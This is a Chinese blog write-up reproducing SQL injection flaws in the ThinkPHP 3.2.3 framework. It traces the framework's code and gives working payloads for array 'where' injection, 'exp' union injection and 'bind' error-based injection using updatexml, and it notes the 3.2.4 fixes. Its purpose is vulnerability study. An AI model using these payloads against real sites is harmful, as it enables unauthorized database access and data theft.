thinkphp3.2.3 SQL注入漏洞复现

前言

具体代码可以composer或者github或者一些其他网站上下载。
然后本地创建一下数据库,改一下数据库的配置,在ThinkPHP/Conf/convention.php下面:
在这里插入图片描述
在这里插入图片描述
由于比较懒,我直接用sqli-labs的数据库了,在IndexController.class.php里面写个查询:

class IndexController extends Controller {
    
    
    public function index(){
    
    
        $data = M('users')->find(I('GET.id'));
        var_dump($data);
    }
}

tp3内置的几种方法:

A 快速实例化Action类库
B 执行行为类
C 配置参数存取方法
D 快速实例化Model类库
F 快速简单文本数据存取方法
L 语言参数存取方法
M 快速高性能实例化模型
R 快速远程调用Action类方法
S 快速缓存存取方法
U URL动态生成和重定向方法
W 快速Widget输出方法

比如I方法,看着就有点像tp5的input方法。

分析:正常的SQL注入

正常的SQL注入肯定就是?id=1' or 1=1%23这样的,而常识就是这样很普通的SQL注入在thinkphp里面是不行的,至于为什么不行我之前也没有真正的去了解过,这次先看代码分析一下为什么不能SQL注入,再复现那些payload。
传参:?id=1' or 1=1%23,先进入I方法,很多不影响参数的代码就不解释了。在I方法中,这里获取到filter:
在这里插入图片描述
经过前面的代码,$input$_GET$name是id。默认的filter是htmlspecialchars(),而这个函数默认是不转义单引号的。然后就是在这里过滤:

                foreach($filters as $filter){
    
    
                    if(function_exists($filter)) {
    
    
                        $data   =   is_array($data) ? array_map_recursive($filter,$data) : $filter($data); // 参数过滤

因为传的id也不是array,所以是$filter($data)。处理后就无影响了,最终返回:
在这里插入图片描述
I方法结束,开始进入find方法。在find方法中调用了这个_parseOptions()
在这里插入图片描述
单引号也是经过了这个函数处理后被转义的,跟进一下,在_parseOptions()里面的这里调用了_parseType()函数,处理$options['where'],继续跟进:
在这里插入图片描述
在_parseType()里面注意到对类型进行了解析,然后处理。

            } elseif (false === strpos($fieldType, 'bigint') && false !== strpos($fieldType, 'int')) {
    
    
                $data[$key] = intval($data[$key]);

如果数据库那边的id列是int的话,也不需要转义了,直接intval()处理一波,也就没了。为此我把数据库那边的id列改成了varchar,继续跟进,进入find()函数的这里:
在这里插入图片描述
查询的结果也就是在这里查到的,跟进入,发现这个select方法是abstract class Driver的,跟进一下:
在这里插入图片描述
是在947行查询得到结果,在946行进行sql语句的拼接,发现945行的时候还没被转义,946行就被转义了,因此跟进buildSelectSql()方法:
在这里插入图片描述

第一个if判断没啥用,跟进一下966行的parseSql()

    public function parseSql($sql,$options=array()){
    
    
        $sql   = str_replace(
            array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),
            array(
                $this->parseTable($options['table']),
                $this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),
                $this->parseField(!empty($options['field'])?$options['field']:'*'),
                $this->parseJoin(!empty($options['join'])?$options['join']:''),
                $this->parseWhere(!empty($options['where'])?$options['where']:''),
                $this->parseGroup(!empty($options['group'])?$options['group']:''),
                $this->parseHaving(!empty($options['having'])?$options['having']:''),
                $this->parseOrder(!empty($options['order'])?$options['order']:''),
                $this->parseLimit(!empty($options['limit'])?$options['limit']:''),
                $this->parseUnion(!empty($options['union'])?$options['union']:''),
                $this->parseLock(isset($options['lock'])?$options['lock']:false),
                $this->parseComment(!empty($options['comment'])?$options['comment']:''),
                $this->parseForce(!empty($options['force'])?$options['force']:'')
            ),$sql);
        return $sql;
    }

对原初的SQL语句进行替换,我们这里构造的id在where那里,跟进一下parseWhere(),进入的是这个语句,对where子单元进行分析:
在这里插入图片描述
再跟进,发现进入了parseValue(),再跟进:
在这里插入图片描述

    protected function parseValue($value) {
    
    
        if(is_string($value)) {
    
    
            $value =  strpos($value,':') === 0 && in_array($value,array_keys($this->bind))? $this->escapeString($value) : '\''.$this->escapeString($value).'\'';
        }elseif(isset($value[0]) && is_string($value[0]) && strtolower($value[0]) == 'exp'){
    
    
            $value =  $this->escapeString($value[1]);
        }elseif(is_array($value)) {
    
    
            $value =  array_map(array($this, 'parseValue'),$value);
        }elseif(is_bool($value)){
    
    
            $value =  $value ? '1' : '0';
        }elseif(is_null($value)){
    
    
            $value =  'null';
        }
        return $value;
    }

第一个if条件判断成功,进行这个处理'\''.$this->escapeString($value).'\'',看一下escapeString
在这里插入图片描述
给单引号转义了。因为没法绕过单引号的转义,所以常规的注入是不行的。
过程可能很水,因为我把这一路上的代码都审一遍后挑着这些重点路径写的。不过有一个点需要注意,就是这一路过来有很多处判断是不是array的地方,因为这里传的id是字符串,因为都没法跟进那些代码。而且经过我审计,单纯的传字符串,这一路上也没什么可以逃逸的点,基本不可能SQL注入了,因此就要考虑一下id传数组,看看tp对于处理数组的代码里是否有可以利用的点。
此外还有一个地方需要注意,如果id列是int的话,最终的where语句是where id=1,如果是varchar的话,是where id ='1'。既然单引号没法逃逸的话,如果查询的列本来就是int,没有单引号呢?前面提到了} elseif (false === strpos($fieldType, 'bigint') && false !== strpos($fieldType, 'int')) { $data[$key] = intval($data[$key]);,会intval而没法注入,是否可以绕过呢?

payload1

尝试id传数组:?id[where]=1,跟一下看看这一路的代码和传字符串有什么不一样。
在I方法里基本没什么区别,主要是这里:
在这里插入图片描述
注意$data是array('where'=>'1')。对它的每个成员使用think_filter函数:

function think_filter(&$value){
    
    
	// TODO 其他安全过滤

	// 过滤查询特殊字符
    if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
    
    
        $value .= ' ';
    }
}

那过滤扫一眼,第一反应就是没ban掉and,而且感觉ban的东西不多,感觉可以注,不过还是继续跟进,看看后面的处理。进入find()函数,$options是这个:
在这里插入图片描述
和之前的区别在哪?之前的$options

$options=array(
'where'=>array(
'id'=>'1'
)
);
现在是
$options=array(
'where'=>'1'
);

感觉好像区别不大,继续跟进,执行进入_parseOptions()函数里面,一个很重要的地方:

if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
    
    
    // 对数组查询条件进行字段类型检查
    foreach ($options['where'] as $key => $val) {
    
    
        $key = trim($key);
        if (in_array($key, $fields, true)) {
    
    
            if (is_scalar($val)) {
    
    
                $this->_parseType($options['where'], $key);
            }
        } elseif (!is_numeric($key) && '_' != substr($key, 0, 1) && false === strpos($key, '.') && false === strpos($key, '(') && false === strpos($key, '|') && false === strpos($key, '&')) {
    
    
            if (!empty($this->options['strict'])) {
    
    
                E(L('_ERROR_QUERY_EXPRESS_') . ':[' . $key . '=>' . $val . ']');
            }
            unset($options['where'][$key]);
        }
    }
}

需要进入_parseType()后才intval,但是注意这个if判断is_array($options['where']不满足了,因此压根这个大的if判断都进不去。因此这里就成功的绕过了,在id列是int的情况下可以不被intval。但是到底能不能成功SQL注入,还需要继续跟进。一直执行到这里:
在这里插入图片描述
继续跟进,sql语句在buildSelectSql里面拼接成,跟进。
在这里插入图片描述

在这里插入图片描述
老样子,再进入parseWhere。但是这次不一样了
在这里插入图片描述
$where这里是字符串了,因此$whereStr直接就是这个字符串本身。最终返回的是这个:
在这里插入图片描述
因此拼接过来就是WHERE 1,而且并没有什么单引号的过滤,最终拼接的是这样:

SELECT * FROM `users` WHERE 1 LIMIT 1  

可以SQL注入了。试试:?id[where]=id=2
在这里插入图片描述
注入成功,但是考虑到之前的那个think_filter

    if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
    
    

本来以为会在注入上受限,但是实际注成功了:
在这里插入图片描述
想了一下突然发现这个正则有问题,它有^,匹配的是以exp,or这些开头的字符串,我们的payload并没有以这个开头啊,所以这个正则其实锤子用没有,可能其他的查询语句有用?因此后面直接拼接SQL注入语句即可。
至于id列是varchar这样的话,并没有任何的影响,结果相同,因为拼接的就是WHERE xxx,并没有添加单引号了。所以id列的类型无影响。
3.2.4的修复:
在这里插入图片描述
$this->options进行操作,而不是$options

payload2 exp注入

index方法改一下:

    public function index(){
    
    
        $User = D('Users');
        $map = array('username' => $_GET['username']);
        // $map = array('username' => I('username'));
        $user = $User->where($map)->find();
        var_dump($user);
    }

先给出payload,便于理解:

?username[0]=exp&username[1]==-1 union select 1,2,3

不同之处就在于这里是先where方法,再find(),之前是先I方法再find。还有就是之前用I方法获取变量,这里用$_GET,为什么用$_GET最后会提到。
先跟进一下where方法,只有这三句代码发挥作用:
在这里插入图片描述
把这个数组array('username' => $_GET['username'])传给了$this->options['where'],继续跟进到find方法,和之前的区别就是到了这里,$options只有一条limit:
在这里插入图片描述
但是进入_parseOptions后,合并数组后和之前一样了:
在这里插入图片描述
在select方法之前也没什么区别了,因为这里:

if (is_scalar($val)) {
    
    

在这里插入图片描述
不成立,所以也不会进入。
跟进select方法后,再跟进buildSelectSql方法,再跟进parseSql方法,再跟进parseWhere方法,一直都无区别,关键在parseWhereItem方法:

protected function parseWhereItem($key,$val) {
    
    
    $whereStr = '';
    if(is_array($val)) {
    
    
        if(is_string($val[0])) {
    
    
            $exp	=	strtolower($val[0]);
            if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) {
    
     // 比较运算
                $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
            }elseif(preg_match('/^(notlike|like)$/',$exp)){
    
    // 模糊查找
                if(is_array($val[1])) {
    
    
                    $likeLogic  =   isset($val[2])?strtoupper($val[2]):'OR';
                    if(in_array($likeLogic,array('AND','OR','XOR'))){
    
    
                        $like       =   array();
                        foreach ($val[1] as $item){
    
    
                            $like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item);
                        }
                        $whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';                          
                    }
                }else{
    
    
                    $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
                }
            }elseif('bind' == $exp ){
    
     // 使用表达式
                $whereStr .= $key.' = :'.$val[1];
            }elseif('exp' == $exp ){
    
     // 使用表达式
                $whereStr .= $key.' '.$val[1];
            }elseif(preg_match('/^(notin|not in|in)$/',$exp)){
    
     // IN 运算
                if(isset($val[2]) && 'exp'==$val[2]) {
    
    
                    $whereStr .= $key.' '.$this->exp[$exp].' '.$val[1];
                }else{
    
    
                    if(is_string($val[1])) {
    
    
                         $val[1] =  explode(',',$val[1]);
                    }
                    $zone      =   implode(',',$this->parseValue($val[1]));
                    $whereStr .= $key.' '.$this->exp[$exp].' ('.$zone.')';
                }
            }elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){
    
     // BETWEEN运算
                $data = is_string($val[1])? explode(',',$val[1]):$val[1];
                $whereStr .=  $key.' '.$this->exp[$exp].' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);
            }else{
    
    
                E(L('_EXPRESS_ERROR_').':'.$val[0]);
            }
        }else {
    
    
            $count = count($val);
            $rule  = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ; 
            if(in_array($rule,array('AND','OR','XOR'))) {
    
    
                $count  = $count -1;
            }else{
    
    
                $rule   = 'AND';
            }
            for($i=0;$i<$count;$i++) {
    
    
                $data = is_array($val[$i])?$val[$i][1]:$val[$i];
                if('exp'==strtolower($val[$i][0])) {
    
    
                    $whereStr .= $key.' '.$data.' '.$rule.' ';
                }else{
    
    
                    $whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' ';
                }
            }
            $whereStr = '( '.substr($whereStr,0,-4).' )';
        }
    }

正常$val都是admin这样的字符串,如果传了数组呢?继续审计,注意这个:

 }elseif('bind' == $exp ){
    
     // 使用表达式
     $whereStr .= $key.' = :'.$val[1];
 }elseif('exp' == $exp ){
    
     // 使用表达式
     $whereStr .= $key.' '.$val[1];

这里$exp$val[0]。因此传?username[0]=exp的话,最终的sql语句会是这样:

select * from users where `username`  $val[1]  limit 1

可以SQL注入:

?username[0]=exp&username[1]==-1 union select 1,2,3

至于为什么不用I方法得到get参数,就是因为前面提到的那个think_filter的过滤,过滤了以exp开头的情况,因此不能I方法,需要用$_GET来获得。

payload3 bind注入

index方法这样写:

    public function index(){
    
    
        $User = M("Users");
        $user['id'] = I('id');
        $data['password'] = I('password');
        $value = $User->where($user)->save($data);
        var_dump($value);
    }

payload:

?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1

首先通过I方法获得参数,然后是where,这些都没什么影响,进入save()。在save方法里面,还是照常进行_parseOptions,把$this->options$options
在这里插入图片描述
然后进入到这里,update方法:
在这里插入图片描述

在这里产生部分SQL语句和绑定参数,就是预编译了。。
在这里插入图片描述

protected function parseSet($data) {
    
    
    foreach ($data as $key=>$val){
    
    
        if(is_array($val) && 'exp' == $val[0]){
    
    
            $set[]  =   $this->parseKey($key).'='.$val[1];
        }elseif(is_null($val)){
    
    
            $set[]  =   $this->parseKey($key).'=NULL';
        }elseif(is_scalar($val)) {
    
    // 过滤非标量数据
            if(0===strpos($val,':') && in_array($val,array_keys($this->bind)) ){
    
    
                $set[]  =   $this->parseKey($key).'='.$this->escapeString($val);
            }else{
    
    
                $name   =   count($this->bind);
                $set[]  =   $this->parseKey($key).'=:'.$name;
                $this->bindParam($name,$val);
            }
        }
    }
    return ' SET '.implode(',',$set);
}

关键是这里:$this->bindParam($name,$val);
在这里插入图片描述
之前$this->bind为空,所以$name = count($this->bind);$name是0。而$val是这样得来的:
在这里插入图片描述

在这里插入图片描述
因此$val是1,最终绑定参数是这样:
在这里插入图片描述
后面就会用到了。经过这一步后,产生这样的sql语句:
在这里插入图片描述
然后就是sql语句再拼接where部分处理后的语句。
在这里插入图片描述

这部分很熟了,主要的利用就是最后这里:
在这里插入图片描述
和exp注入最终产生的效果那样,bind注入会产生绑定参数。最终出来的sql语句是这样:

UPDATE `users` SET `password`=:0 WHERE `id` = :0 and updatexml(1,concat(0x7e,user(),0x7e),1)

处理后进入最终的excute:
在这里插入图片描述
绑定参数的处理是在这里:

if(!empty($this->bind)){
    
    
    $that   =   $this;
    $this->queryStr =   strtr($this->queryStr,array_map(function($val) use($that){
    
     return '\''.$that->escapeString($val).'\''; },$this->bind));
}

看一下逻辑,这里创建了一个闭包,然后调用array_map,对$this->bind这个数组中的每个参数都调用这个闭包。可以认为处理前$this->bind是这样:

array(":0"=>"1");

处理后是这样:

array(":0"=>"'1'");

然后调用strtr函数处理$this->queryStr语句,即这个:

UPDATE `users` SET `password`=:0 WHERE `id` = :0 and updatexml(1,concat(0x7e,user(),0x7e),1)

在这里插入图片描述
会把:0替换成1,因此这也是为什么id[1]这个GET参数值以0开头的原因。处理好SQL语句变成这样:

UPDATE `users` SET `password`='1' WHERE `id` = '1' and updatexml(1,concat(0x7e,user(),0x7e),1)

然后执行语句,成功SQL注入。
修复的方式也很简单,就是把bind给过滤了就行:
在这里插入图片描述

总结

最后的bind注入很有意思的思路,通过这次复现,学习到了很多东西。也感谢这个大师傅的文章,跟着他的文章复现的,也学习到了很多:
Thinkphp3 漏洞总结

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/114024426